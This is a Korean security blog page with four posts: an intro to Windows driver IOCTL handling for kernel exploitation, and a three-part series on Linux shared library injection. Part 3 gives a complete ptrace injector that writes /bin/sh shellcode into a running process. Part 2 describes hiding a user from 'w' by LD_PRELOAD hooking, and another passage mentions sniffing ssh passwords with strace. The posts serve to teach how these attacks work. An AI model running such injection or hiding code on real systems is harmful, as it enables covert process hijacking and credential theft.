'Security'에 해당되는 글 4건

Security


이 글은 Windows Device Driver에 대한 Exploit을 작성하는 방법에 대한 연재입니다.

어디까지 작성할 수 있을지는 모르겠지만 최대한 작성해 보도록 하겠습니다.


설명을 위해 존칭은 생략합니다.



Attack Vector


아래는 윈도우 아키텍쳐를 나타내는 그림이다.


https://upload.wikimedia.org/wikipedia/commons/5/5d/Windows_2000_architecture.svg


Windows NT 3.5 이전 Win32 서브 시스템은 Fast LPC를 이용하여 Operating System, Window Manager, GDI와 상호 작용하며,

Win32 API를 제공함으로써 클라이언트-서버 모델의 서버 사이드 구현인 CSRSS 프로세스와의 통신을 할 수 있도록 한다.

이를 위해 많은 부분이 성능을 위한 최적화가 이루어졌다.


하지만 이런 노력에도 불구하고 Windows NT 4.0부터는 서버 사이드 구현의 대부분을 커널 모드로 마이그레이션 해버렸는데, 커널로 옮겨진 Window Manager, GDI를 관리하기 위해 Win32k.sys가 도입되었다.


기존과는 달리 서버 사이드가 커널 모드에서 구현되었기 때문에 Win32k.sys는 커널 모드에서 사용자 모드 클라이언트로 제어를 넘겨야만 할 필요성이 생겼고, 이를 위해 사용자 모드 콜백 매커니즘이 구현되었다.

이 사용자 콜백 매커니즘은 Win32k가 호출을(제어권을) 사용자 모드로 되돌리는 역할을 한다.


따라서 전통적인 Window Kernel Exploit들은 사용자 모드 콜백 구현 부분을 공격하여 커널 모드 권한을 획득하는 것이 주류를 이루었다.(MS11-034, MS11-054).

(심지어 최근에도 사용된다.)


사용자 모드 콜백 공격을 통한 커널 모드 권한 획득에 관한 자세한 정보는 Tarjei Mandt의 Kernel Attacks through User-Mode Callbacks 를 참고하도록 한다. 

이 문서는 Windows Kernel Exploiter들이라면 반드시 읽어봐야 하는 문서이다.


사용자 모드 콜백 구현을 공격하는 것 외에 Window Kernel Exploit 방법으로 디바이스 드라이버를 직접 공격하는 것도 역시 인기있는 공격이다.

위의 그림에서 볼 수 있듯이 디바이스 드라이버는 커널 모드에서 동작하기 때문에, 만약 디바이스 드라이버의 취약점을 공격한다면 커널 모드 권한을 획득할 수 있다.

디바이스 드라이버들은 보통 3rd Party들에 의해 제공되는 경우가 많이 때문에 취약점이 존재할 확률이 상대적으로 높다.


여기서는 디바이스 드라이버를 Attack Vector로 하는 Exploit을 다루도록 한다.



Device Driver


디바이스 드라이버는 하드웨어 디바이스를 제어하기 위한 소프트웨어라고 할 수 있다.

따라서 드라이버는 디바이스와 통신을 할 수 있으며 디바이스의 데이터를 읽거나 쓸 수도 있다.


아래는 가장 간단한 형태의 드라이버 정의이다.


http://msdn.microsoft.com/dynimg/IC535114.png


위의 그림은 디바이스 드라이버의 동작을 많이 단순화 한 그림이다.

Application은 OS를 통해 드라이버 코드와 상호 작용을 하며, 드라이버 코드는 디바이스와의 통신을 통해 Application의 데이터를 디바이스까지 전달하거나 디바이스의 데이터를 Application으로 전달한다.


또 다른 형태의 드라이버를 보자.


https://i-msdn.sec.s-msft.com/dynimg/IC535115.png


위 그림처럼 모든 드라이버가 디바이스와 통신을 하는 것은 아니다.

드라이버는 계층적으로 여러 개가 존재할 수 있으며 드라이버 스택 상하의 데이터를 검증하거나 단순히 전달하는 기능만을 가지기도 한다.


아래는 사용자 모드와 커널 모드 구성 요소 간 통신을 보여주는 다이어그램이다.


https://i-msdn.sec.s-msft.com/dynimg/IC535109.png


그 외 디바이스 드라이버에 대한 자세한 설명은 아래 Microsoft의 페이지를 참고하도록 한다.

https://msdn.microsoft.com/ko-kr/library/windows/hardware/ff554690(v=vs.85).aspx



디바이스 드라이버 샘플 코드


아래는 github에 올라와 있는 디바이스 드라이버의 샘플 코드 중 일부이다.

드라이버 코드는 WDM 또는 WDF를 이용하여 작성할 수 있는데, WDM은 전통적인 드라이버 작성 방식이며 WDF는 Window Driver Foundation의 약자로 비교적 최근에 나온 프레임워크를 이용하는 방식이다.

Win32 API 와 MFC라고 생각하면 이해가 쉬울 것이다.


여기에서는 WDM 코드를 예제로 사용하며 중요한 부분만 설명하고 넘어가도록 하겠다.


아래는 ReadFile/ReadFileEx/WriteFile/WriteFileEx를 사용하지 않는 범용적인 코드 샘플이다.

(https://github.com/Microsoft/Windows-driver-samples/blob/master/general/ioctl/wdm/sys/sioctl.c)


코드를 보자.



DRIVER_INITIALIZE DriverEntry;

DRIVER_UNLOAD SioctlUnloadDriver;


DriverObject->DriverUnload = SioctlUnloadDriver;

드라이버가 로딩될 때의 진입점과 언로딩될 때의 진입점을 선언한다.

일반적으로 사용자 모드 어플리케이션의 main과 같은 역할을 하는 것이 DriverEntry이다.


_Dispatch_type_(IRP_MJ_CREATE)

_Dispatch_type_(IRP_MJ_CLOSE)

DRIVER_DISPATCH SioctlCreateClose;


DriverObject->MajorFunction[IRP_MJ_CREATE] = SioctlCreateClose;

DriverObject->MajorFunction[IRP_MJ_CLOSE] = SioctlCreateClose;


IRP는 I/O Request Packet의 약자이며 드라이버로 전송되는 요청의 대부분은 IRP 구조체를 이용해서 전달된다고 생각하면 된다.

위는 미리 정의된 IRP Type들 중 IRP_MJ_CREATE/IRP_MJ_CLOSE를 SioctlCreateClose 함수에서 처리하겠다고 선언한 것이다.

IRP_MJ_CREATE는 CreateFile()/CreateFileEx(), IRP_MJ_CLOSE는 CloseHandle()과 매핑된다.


IRP 구조체는 아래와 같다.

https://msdn.microsoft.com/ko-kr/library/windows/hardware/ff550694(v=vs.85).aspx


다음 코드를 보자.

_Dispatch_type_(IRP_MJ_DEVICE_CONTROL)

DRIVER_DISPATCH SioctlDeviceControl;


DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = SioctlDeviceControl;


역시 미리 정의된 IRP_MJ_DEVICE_CONTROL을 SioctlDeviceControl 함수에서 처리하겠다고 선언한 것이며, DeviceIoControl과 매핑된다.

이 함수는 일반적인 I/O가 아닌 드라이버를 제어하기 위한 사용자 정의 I/O Control Code를 처리하는 함수이다.


아래는 미리 정의된 Major IRP들의 리스트다.

https://msdn.microsoft.com/en-us/library/windows/hardware/ff550710(v=vs.85).aspx


코드의 다음 부분을 보자.

IoCreateDevice 함수를 이용해 디바이스를 생성한다.

Device type에 따라 여러 종류의 디바이스를 생성할 수 있는데 자세한 것은 MSDN을 참고하기 바란다.

예제 코드에서는 FILE_DEVICE_UNKNOWN을 사용했다.


NT Device name과 Win32 Name 간 Symbolic link를 생성한다.

디바이스는 NT Device name과 Win32 Name를 모두 가져야 하며, 사용자 모드 어플리케이션에서 접근하기 위한 용도로 사용된다.


IRP_MJ_READ / IRP_MJ_WRITE에 대해 어떤 처리도 없이 STATUS_SUCCESS를 반환한다.

(사용자 모드 어플리케이션에서는 ReadFile(Ex) / WriteFile(Ex)를 사용하지 않는다.)


아래는 IRP를 다루는 부분이다.

IoGetCurrentIrpStackLocation() 함수를 이용해 I/O Stack Location에 포함된 IO_STACK_LOCATION 구조체의 구조체의 포인터를 가져온다.

즉, 사용자 모드 어플리케이션에서 IRP 구조체를 이용해서 전달된 정보를 가져오기 위함이며,

모든 드라이버는 현재 request의 파라미터를 얻기 위해서 각 IRP에 대해 이 함수를 반드시 호출해야만 한다.

이후 획득한 포인터를 이용해 사용자 모드 어플리케이션에서 전달된 입/출력 버퍼의 길이를 얻어온다.


아래는 드라이버 코드에서 가장 중요한 부분이다.

switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )

case IOCTL_SIOCTL_METHOD_BUFFERED:

case IOCTL_SIOCTL_METHOD_NEITHER:

case IOCTL_SIOCTL_METHOD_IN_DIRECT:

바로 위의 코드에서 IRP를 이용해 사용자 모드 어플리케이션에서 전달된 입/출력 버퍼의 길이를 얻어왔다.

사용자 모드 어플리케이션에서 버퍼를 통해 전달된 데이터를 처리하는 방식은 IoControlCode로 구분하며 위와 같이 3가지 종류가 있다.

IoControlCode에 종류에 따라 참고해야 할 버퍼의 위치와 처리 방식이 다르기 때문에 유의해야 하는 부분이다.


1) METHOD BUFFERED

METHOD BUFFERED 방식은 일반적으로 작은 양의 데이터를 전송할 경우에 사용되며 버퍼를 이용해 데이터를 전달하는 방식이다.

사용자 모드 어플리케이션에서 전달된 데이터는 시스템 주소 공간의 임시 영역으로 복사되며 드라이버는 해당 공간의 포인터를 사용한다.

해당 버퍼의 위치는 Irp->AssociatedIrp.SystemBuffer이다.


2) METHOD DIRECT (METHOD_IN_DIRECT & METHOD_OUT_DIRECT)

METHOD_IN_DIRECT의 경우 입력 버퍼는 METHOD BUFFERED와 동일하게 Irp->AssociatedIrp.SystemBuffer를 사용하는 반면 출력 버퍼는 MDL을 이용한다.

이 방식은 MDL 생성 시의 overhead는 있지만 별도의 데이터 복사 작업이 없어서 대용량 데이터 전달에 일반적으로 사용된다.


MDL는 Memory Descriptor List의 약자로써, 사용자 모드 페이지를 커널 모드 메모리로 매핑시키는데 사용되는 구조체이다.

이를 위해 사용되는 함수가 MmGetSystemAddressForMdlSafe이며 해당 함수의 리턴 값은 해당 함수에 전달된 사용자 모드 버퍼에 매핑되는 커널 모드 메모리 주소이다. 사용자 모드 어플리케이션과 디바이스 드라이버가 사용하는 가상 주소는 다르지만 실제 가상 주소가 매핑되는 물리 어드레스는 동일하게 된다.


METHOD_OUT_DIRECT의 경우 위와 같이 METHOD_IN_DERECT보다 추가되는 코드가 있다. 바로 MDL에 디바이스에서 사용자 모드 어플리케이션으로 보내고자 하는 데이터를 쓰는 것이다.


3) METHOD NEITHER

METHOD_NEITHER은 앞의 방식들에 비해서 좀 독특한데, 데이터를 보내는 것이 아니라 단순히 사용자 모드 버퍼의 주소를 보내기만 한다.

드라이버는 위의 코드에서 보듯이 Type3InputBuffer를 통해 전달된 사용자 모드 버퍼의 주소에 접근하여야 한다.

따라서 드라이버는 해당 주소에 접근하기 전 아래와 같이 해당 주소가 유효한 주소인지 반드시 확인해야만 한다.



예제에는 없지만 쓰기 전에도 역시 유효한 주소인지 반드시 확인해야만 하며 ProbeForWrite() 함수를 사용한다.


예제에서는 사용자 버퍼 주소로의 직접 접근 외에 MDL을 통해 안전하게 접근하는 방법이 추가되어 있으며 내용은 DIRECT METHOD 때와 동일하므로 생략하도록 한다.


이상으로 디바이스 드라이버 샘플 코드에 대한 간단한 분석을 마친다.

자세한 내용은 이봉석님의 입문자를 위한 디바이스 드라이버 시리즈를 볼 것을 추천한다.

(https://www.youtube.com/watch?v=jsXHLMDIokM)



다음 포스트에는  취약한 드라이버들을 공략해 보도록 하겠다.



'Security' 카테고리의 다른 글

Shared Library Injection (3)  (0) 2016.08.02
Shared Library Injection (2)  (0) 2016.07.25
Shared Library Injection (1)  (0) 2016.07.18
Security



Shared Library Injection 세 번째 포스트입니다.

이전 글은 아래의 링크에서 확인하시기 바랍니다.



2016/07/18 - [Security] - Shared Library Injection (1)

2016/07/12 - [Security] - Shared Library Injection (2)



이번 포스트는 ptrace 를 이용한 shared library injection에 대해 알아보도록 하겠습니다.


ptrace는 앞의 포스트에서 잠시 등장했던 strace, ltrace와는 달리 프로그램이 아니라 리눅스에서 지원하는 시스템 콜입니다.

ptrace의 함수 원형은 아래와 같습니다.


long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);


사용자는 _ptrace_request 값들을 이용하여 다른 프로세스의 실행을 관찰 또는 제어하는 것이 가능합니다.

_ptrace_request 값들은 아래와 같습니다.



PTRACE_TRACEME

자기 자신을 추적 가능하도록 만드며, 부모 프로세스에 의해 추적되는 것을 나타냅니다.


PTRACE_PEEKTEXT, PTRACE_PEEKDATA

자식 프로세스의 주어진 주소의 WORD를 읽어 리턴합니다. 


PTRACE_PEEKUSER

자식 프로세스의 USER 영역 주소의 WORD를 읽어 리턴합니다.


PTRACE_POKETEXT, PTRACE_POKEDATA

부모 프로세스 메모리 주소에서 자식 프로세스 메모리 주소로 WORD를 복사합니다.


PTRACE_POKEUSER

부모 프로세스 메모리 주소에서 자식 프로세스 주소의 USER 영역으로 WORD를 복사합니다.


PTRACE_GETREGS, PTRACE_GETFPREGS

자식 프로세스의 레지스터들을 부모 프로세스 data 위치로 복사합니다.


PTRACE_SETREGS, PTRACE_SETFPREGS

부모 프로세스의 data 위치에서 레지스터들을 자식 프로세스로 복사합니다.


PTRACE_CONT

자식 프로세스를 다시 시작합니다.


PTRACE_SYSCALL, PTRACE_SINGLESTEP

자식 프로세스를 다시 시작한 후 인스트럭션 하나를 실행하고 다시 멈춥니다.


PTRACE_KILL

자식 프로세스에게 SIG_KILL을 보냅니다.


PTRACE_ATTACH

지정 프로세스의 부모 프로세스로 ATTACH 합니다.


PTRACE_DETACH

ATTACH된 자식 프로세스를 DETACH 합니다.


참고: http://linux4u.kr/manpage/ptrace.2.html



PTRACE의 ATTACH, PEEK, POKE, SINGLESTEP, DETACH를 이용하면 다른 프로세스에 shared library injection이 가능합니다.


먼저 code injection을 할 대상 테스트 프로그램을 아래와 같이 만듭니다.


#include <iostream>
#include <thread>
#include <chorono>

int main()
{
    unsigned long count = 1;
    std::cout << "server start" << std::endl;
    while(true)
    {
        std::cout << "server running " << count << std::endl;
        std::this_thread::sleep_for(std::chrono::seconds(10));
        count++;
    }

    std::cout << "server stop" << std::endl;
}

위의 테스트 프로그램은 10초당 한번 메세지를 출력하는 프로그램입니다.

해당 프로그램을 빌드하여 실행시키면 아래와 같습니다.



이 테스트 프로그램에 Code Injection을 실행해 임의의 코드를 실행해 보도록 하겠습니다.



Code Injection 프로그램을 하나씩 만들어 보도록 하겠습니다.

먼저 ptrace를 이용해 attach와 detach를 해야 합니다.


#include <iostream>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>


int main(int argc, char *argv[])
{   
    const pid_t pid = std::atoi(argv[1]);
    
    //
    // Attach
    //
    
    int waitpidstatus = 0;
    
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {   
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;
    
    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {   
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }


    //
    // Detach
    //
    ptrace(PTRACE_DETACH, pid, 0, 0);


    return 0;
}


먼저 PTRACE_ATTACH를 이용해 테스트 프로그램에 Attach를 시도합니다.

Attach가 성공하면 해당 프로세스로부터 상태 정보를 얻어옵니다.

WUNTRACED 옵션은 종료되거나 멈춘 프로세스로부터 상태정보를 얻어오는 옵션입니다.

상태정보를 얻어오는데까지 성공하면 PTRACE_DEACH를 이용해 Detach를 합니다.


위 프로그램을 컴파일하여 테스트 프로그램에 Injection한 결과는 아래와 같습니다.




테스트 프로세스에 Attach, Deatch가 성공했으니 이제 조금 더 살을 붙여보겠습니다.

이번에는 Attach 되어 잠시 중지된 프로세스의 레지스터 값을 가져오도록 하겠습니다.



#include <iostream>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>

int main(int argc, char *argv[])
{
    const pid_t pid = std::atoi(argv[1]);

    
    //
    // Attach
    //

    int waitpidstatus = 0;
    
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;
    
    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }

    
    //
    // Get Register Info
    //
    struct user_regs_struct regs;
    memset(®s, 0x0, sizeof(struct user_regs_struct));
    if(ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
    {
        std::cerr << "PTRACE_GETREGS failed" << std::endl;
        return -1;
    }

    std::cout << "rip: " << std::hex << regs.rip << std::endl;

    ptrace(PTRACE_DETACH, pid, 0, 0);

    return 0;
}


레지스터 정보를 가져오기 위해 PTRACE_GETREGS 옵션을 사용했습니다.

해당 옵션을 이용해 user_regs_struct 구조체 변수에 해당 프로세스의 모든 레지스터 정보를 가져옵니다.



위 프로그램을 실행한 결과는 아래와 같습니다.

Attach에 의해 잠시 멈춘 프로세스의 RIP를 출력하고 있습니다.




자, 여기까지 왔으니 이제 끝이 보이기 시작합니다.

마지막으로 코드를 삽입하고 실행시키기만 하면 됩니다.

완성된 코드는 아래와 같습니다.


#include <iostream>
#include <memory>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <wait.h>
#include <string.h>

// run /bin/sh
unsigned char code[] = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f"
                       "\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57"
                       "\x54\x5f\x6a\x3b\x58\x0f\x05";

#define offsetof(TYPE, MEMBER) ((unsigned long) &((TYPE *)0)->MEMBER)

int main(int argc, char *argv[])
{
    const pid_t pid = std::atoi(argv[1]);


    //
    // Attach
    //

    int waitpidstatus = 0;

    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1)
    {
        std::cerr << "PTRACE_ATTACH failed" << std::endl;
        return -1;
    }
    std::cout << "Inject Success To " << std::to_string(pid) << std::endl;

    if(waitpid(pid, &waitpidstatus, WUNTRACED) != pid)
    {
        std::cerr << "waitpid(" << pid << ") failed" << std::endl;
        return -1;
    }


    //
    // Get Register Info
    //

    struct user_regs_struct regs;
    memset(®s, 0x0, sizeof(struct user_regs_struct));
    if(ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
    {
        std::cerr << "PTRACE_GETREGS failed" << std::endl;
        return -1;
    }

    std::cout << "rip: " << std::hex << regs.rip << std::endl;

    //
    // Set Buffer to Shellcode
    //

    const std::size_t codeLength = sizeof(code);
    std::unique_ptr buffer(new char[codeLength]);

    memset(buffer.get(), 0x0, codeLength);
    memcpy(buffer.get(), code, sizeof(code));

    //
    // Write shellcode to target process
    //

    for(unsigned int i = 0; i < sizeof(code); i++)
    {
        ptrace(PTRACE_POKETEXT, pid, regs.rip + i, *(int*)(buffer.get() + i));
    }
    std::cout << "Code Inject Success" << std::endl;

    //
    // Detach
    //

    ptrace(PTRACE_DETACH, pid, 0, 0);


    return 0;
}


/bin/sh를 실행시키는 shellcode를 선언하고 char형 buffer에 복사합니다.

Attach된 프로세스의 rip가 가리키는 주소에 shellcode를 차례로 복사합니다.

그리고 프로세스를 Detach 합니다.


이제 테스트 프로세스가 다시 시작될 때 rip가 가리키는 shellcode를 실행하게 됩니다.


아래는 해당 프로그램의 실행 결과 입니다.



성공적으로 Code를 Injection 하였습니다.


지금까지 살펴본 방법을 이용하여 Shared library를 로딩하는 shellcode를 삽입하면 Shared library injection이 됩니다.

해당 방법에 대한 잘 만들어진 예제는 아래를 참고하시기 바랍니다.

https://github.com/gaffe23/linux-inject/blob/master/inject-x86_64.c



완성된 코드는 아래에 올려두었습니다.

main.cpp



이번 포스트는 여기서 마치도록 하겠습니다.

읽어주셔서 감사합니다.






'Security' 카테고리의 다른 글

how to exploit window kernel (1)  (0) 2017.07.21
Shared Library Injection (2)  (0) 2016.07.25
Shared Library Injection (1)  (0) 2016.07.18
Security


2016/07/18 - [Security] - Shared Library Injection (1)




이전 글에 이어서 Shared Library Injection에 대해 알아보도록 하겠습니다.


이번 포스트에서는 일명 "공유 라이브러리 후킹"이라고 불리는 LD_PRELOAD을 이용한 방법에 대해 알아볼까 합니다.

사실 LD_PRELOAD를 이용하는 것은 리눅스에서 허용하는 정상적인 방법이기 때문에 공격이라고 보기는 어렵습니다.



프로그램이 실행되면서 실행에 필요한 shared library 들이 차례로 프로세스의 주소 공간으로 로딩되기 시작하는데, 만약 해당 실행 코드에 대한 라이브러리가 이미 로딩되어 있을 경우 로딩된 코드를 참조하고 없을 경우에만 로딩합니다.

따라서 동일한 코드가 여러 라이브러리에 분산되어 있더라도 가장 먼저 로딩된 코드만 사용하게 됩니다.


shared library가 로딩되는 순서는 일반적으로 다음과 같습니다.


DYNAMIC_SECTION의 NEED가 설정된 라이브러리

LD_LIBRARY_PATH

/etc/ld.so.conf

/lib, /usr/lib와 같은 표준 라이브러리 경로



DYNAMIC_SECTION

DYNAMIC_SECTION은 EFL 파일 시스템에 설정되어 있고 우선 순위가 가장 높습니다.

일반적으로 libc들이 여기에 속해 있습니다. 



LD_LIBRARY_PATH

LD_LIBRARY_PATH는 환경변수이고 라이브러리가 존재하는 경로를 추가할 수 있습니다.



/etc/ld.so.conf

/etc/ld.so.conf 파일을 열어보면 아래와 같이 /etc/ld.so.conf.d 디렉토리 하위의 모든 *.conf를 포함하도록 되어 있습니다.



해당 디렉토리에는 위와 같은 파일들이 있고, 해당 파일들은 또 아래와 같이 shared library가 존재하는 디렉토리의 경로를 포함하고 있습니다.



ld.so 또는 ld-linux.so 같은 런타임 링커는 캐시된 데이터를 참조해서 라이브러리의 경로를 파악하며 이 파일은 /etc/ld.so.cache 입니다.

해당 파일은 아래와 같이 file type은 data로 되어 있고 strings 로 열어보면 /etc/ld.so.conf.d/*.conf 파일들의 경로 내 shared library들이 포함되어 있습니다.




LD_PRELOAD


만약 LD_PRELOAD 환경 변수를 지정할 경우 프로세스는 다른 어떤 라이브러리보다도 먼저 이 환경변수에 설정된 라이브러리를 로딩하게 됩니다.


앞에서 이야기했듯이 라이브러리가 먼저 로딩되어 있다면 다음 라이브러리는 무시되고 로딩되지 않습니다. 즉 LD_PRELOAD 환경 변수를 이용하면 동일한 이름의 함수들이 로딩되기 전에 해당 함수를 오버라이딩 하는 것이 가능하게 되는 것입니다.



만약 LD_PRELOAD를 이용하여 libc의 함수들을 오버라이딩 할 수 있다면 여러가지 재밌는 일을 할 수가 있는데요, w 명령 결과에서 특정 사용자를 감추는 것을 한번 해보도록 하겠습니다.


아래는 정상적인 상황에서의 w 명령어 결과이며 현재 로그인 한 사용자인 ubuntu가 보여지는 것을 확인할 수 있습니다.




w 명령 실행 시 어떠한 일이 일어나는지 ltrace를 이용해 한번 알아보면,



...이렇습니다.


ltrace는 library call tracer로써 프로그램 실행 시 동적 호출되는 라이브러리와 시그널을 추적하는 프로그램입니다. 비슷한 프로그램으로 strace는 시스템 콜과 시그널을 추적합니다. 

root를 획득한 해커가 패스워드 크랙이 잘 안될 때 strace를 telnet이나 ssh에 걸어서 패스워드를 빼내기도 합니다. ^^;


어쨌든 ltrace 프로그램을 이용하면 w 프로그램 실행 후 터미널에 현재 로그인 한 사용자가 출력되기 전에 호출되는 라이브러리 함수들을 볼 수 있습니다. 

위의 화면에서 잘 보시면 중간쯤에 보면 strncpy 함수가 보이는데요, 이 함수에 ubutu라는 사용자 이름이 어딘가에 복사된 후 출력이 되는 것을 알 수 있습니다. 이 함수를 오버라이딩 해서 ubuntu 사용자의 목록을 지워보도록 하겠습니다.


우리가 오버라이딩 해야 할 strncpy 함수의 원형은 아래와 같습니다.

char *strncpy(char *dest, const char *src, size_t n);



이제 이 함수를 오버라이딩 해 보도록 하겠습니다.


original strncpy 함수에 대한 함수 포인터를 org_strncpy 라는 이름으로 선언합니다.

insert code 라는 주석 아래에 ubuntu 사용자에 대한 처리를 하는 코드가 들어간 후 original strncpy 함수를 호출하면 됩니다.


ubuntu 사용자에 대한 처리를 하는 코드를 넣은 완성된 라이브러리 코드는 아래와 같습니다.




아래와 같이 컴파일을 해서 라이브러리를 생성합니다.



자, 이제 생성된 라이브러리와 LD_PRELOAD 환경 변수를 이용해 w 프로그램을 실행시켜 보도록 하겠습니다.

짜잔~



원하는 결과를 확인할 수 있습니다~~



libc 내 함수만 후킹이 가능한 것일까?



자, 여기서 한가지 의문이 드는 것은 "LD_PRELOAD를 이용할 경우 libc 함수만 후킹이 가능한 걸까" 입니다.

결론부터 말씀드리면 함수명만 알 수 있다면 어떤 함수라도 가능합니다.

물론 함수명을 알아내는 것은 또 다른 일이기는 합니다. ^^;



지금까지 LD_PRELOAD를 이용한 shared library injection에 대해 알아보았습니다.

전체 소스는 아래에 올려두었습니다.

my_strncpy.cpp




이번 포스트는 여기서 마치도록 하겠습니다.


읽어 주셔서 감사합니다.








'Security' 카테고리의 다른 글

how to exploit window kernel (1)  (0) 2017.07.21
Shared Library Injection (3)  (0) 2016.08.02
Shared Library Injection (1)  (0) 2016.07.18
Security


Library란?


라이브러리란 보통 실행파일과 같이 실행되는 서브 루틴들을 별도로 분리해 놓은 것이라고 할 수 있습니다.

실행 파일과 라이브러리 파일을 분리하는 이유는 유지 보수가 쉽고, 공동 개발 시 개발 시간 단축이 가능한 것과 같은 여러가지 장점이 있기 때문입니다.


이런 라이브러리들은 크게 두 종류로 나뉘어집니다.


1. Static Library


정적 라이브러리라고 하며, 컴파일 시에 컴파일러에 의해 참조되어 실행파일 생성 시에 복사됩니다.

즉 해당 라이브러리의 프로그램을 실행하기 위한 코드가 실행 프로그램 안에 존재하게 됩니다.


보통 정적 라이브러리를 사용할 경우 라이브러리 코드가 실행 파일 안에 포함되기 때문에 프로그램의 크기는 커지지만 실행 속도는 빨라지게 됩니다.

윈도우는 .lib 확장자를 가지며 리눅스 계열은 .a 확장자를 사용합니다.



2. Shared or Dynamic Library


동적 라이브러리라고 하며, 프로그램 실행 시에 메모리에 로딩되어 사용됩니다.

동적 라이브러리를 사용할 경우 라이브러리 코드가 실행 파일과 분리되기 때문에 프로그램 크기가 작아지는 대신 실행 시에 메모리에 로딩되기 때문에 실행 속도는 정적 라이브러리 방식에 비해 조금 느려집니다.


또한 정적 라이브러리를 사용할 경우 라이브러리 업데이트가 발생하면 실행 파일을 다시 빌드해서 배포해야 하지만, 동적 라이브러리는 실행파일과 상관없이 동적 라이브러리 자체만 배포하면 되기 때문에 유지 보수가 쉬워 일반적으로 많이 쓰이는 방식입니다.

윈도우는 .dll 확장자를 가지며 리눅스 계열은 보통 .so 확장자를 사용합니다. 



Shared Library or DLL Injection


동적 라이브러리가 프로그램 실행 시간에 로딩된다는 점을 이용하여 수정된 라이브러리를 로딩하게 하거나, 임의의 라이브러리를 로딩하게 하는 등의 공격 방법입니다.



일반적으로 공유 라이브러리를 삽입하는 공격 방법은 아래의 3가지로 볼 수 있습니다.


  1. PTRACE를 사용한 shellcode injection
  2. VDSO 수정
  3. __libc_dlopen을 사용하는 방법



각 공격 방법은 다음 포스트에서 다루도록 하고 이번 포스트에서는 각 공격법들을 이해하기 위해 필수인 ELF 파일 포맷에 대해 간략하게 알아보고 shared library가 inject된 상태를 보도록 하겠습니다.


ELF(Executable and Linkable Format) File Format


ELF는 리눅스 계열 운영체제에서 주로 사용되는 파일 포맷입니다. 윈도우 계열은 FAT, NTFS 파일 포맷을 이용합니다.


아래는 ELF 파일 포맷을 나타내는 그림입니다.


(http://www.sw-at.com/blog/wp-content/uploads/2011/04/elf.png 에서 발췌)



오른쪽 그림을 기준으로 설명하도록 하겠습니다.

ELF 파일 포맷은 Program Header Table을 가지는데, 이것은 0개 이상의 세그먼트들에 대한 정의를 가지고 있습니다.

또, Section Header Table도 가지는데, 이것은 0개 이상의 섹션들에 대한 정의를 가지고 있습니다.

그리고 이들 헤더들에 의해 참조되는 데이터를 가지고 있습니다.

섹션은 링킹, 재배치에 필요한 정보를 포함하며 세그먼트는 해당 파일의 런타임 실행에 필요한 정보를 포함하고 있습니다.

(위키피디아 참조. https://ko.wikipedia.org/wiki/ELF_%ED%8C%8C%EC%9D%BC_%ED%98%95%EC%8B%9D)



readelf  유틸리티를 사용하면 ELF 파일 포맷 구조를 자세히 살펴볼 수 있습니다.


아래는 -l 옵션을 이용해서 /usr/bin/id 프로그램의 프로그램 헤더를 살펴보는 화면입니다.



위 화면에서 INTERP는 dynamic linker의 경로를 보여주는데 위의 화면에서는 /lib64/ld-linux-x86-64.so.2 로 표시되어 있습니다.

그리고 아래 두 개의 LOAD는 text segment, data segment를 표시합니다.

특히 구조체 배열로 저장된 데이터들을 나타내는 DYNAMIC을 눈여겨 보셔야 하는데요, 이 segment는 data segment 범위 안에 존재하며 두 번째 LOAD 다음 메모리에 적재됩니다.


위에서 dynamic segment는 구조체 배열의 형태로 저장되어 있다고 언급했는데, 이 구조체는 바로 Elfn_Dyn 구조체입니다.

Elfn_Dyn 구조체는 아래와 같습니다.



typedef struct {
    Elf64_Sxword    d_tag;
    union {
        Elf64_Xword    d_val;
        Elf64_Addr      d_ptr;
    } d_un;
} Elf64_Dyn;
extern Elf64_Dyn _DYNAMIC[];


dynamic segment는 dynamic linker가 필요로 하는 모든 정보를 가지고 있으며, 의존성 해결을 위해 런타임에 dynamic linker에 의해 파싱됩니다. 이후 runtime patching을 이용해 복잡한 재배치 작업을 거쳐 비로소 프로세스 안으로 링크됩니다.

dynamic linker는 그 자체로써 dynamic library object입니다. 


Elf64_Dyn 구조체의 멤버인 d_tag는 구조체에 저장된 데이터의 타입을 dynamic linker에게 알려주는 역할을 합니다. elf(5)를 보면 d_tag 값으로 가능한 모든 리스트를 알 수 있습니다.


가장 중요한 내용으로 dynamic linker는 d_tag 값이 DT_NEED인 엔트리들을 찾아 dynamic object를 프로세스 안에 링크 시킵니다.


-d 옵션을 사용하면 아래와 같이 dynamic segment의 정보를 볼 수 있습니다.



위 화면에서 볼 수 있듯이 (NEEDED)로 표시된 두 개의 shared library가 바로 Elf64_Dyn 구조체의 d_tag값이 DT_NEED인 엔트리들입니다.



ELF File Format에 관한 더 자세한 정보는 아래 자료를 참고하시기 바랍니다.

http://flint.cs.yale.edu/cs422/doc/ELF_Format.pdf



Inject된 Dynamic Library 살펴보기



그럼 실제로 dynamic library가 inject 되었을 때를 한번 살펴보도록 하겠습니다.


먼저 inject할 프로세스를 찾아볼까요?

저는 현재 로그인 한 계정인 ubuntu 로 실행되고 있는 프로세스들 중 하나를 선택하였습니다.

(mint 리눅스가 좀 이상해서 ubuntu로 변경했습니다 ㅠ_-)




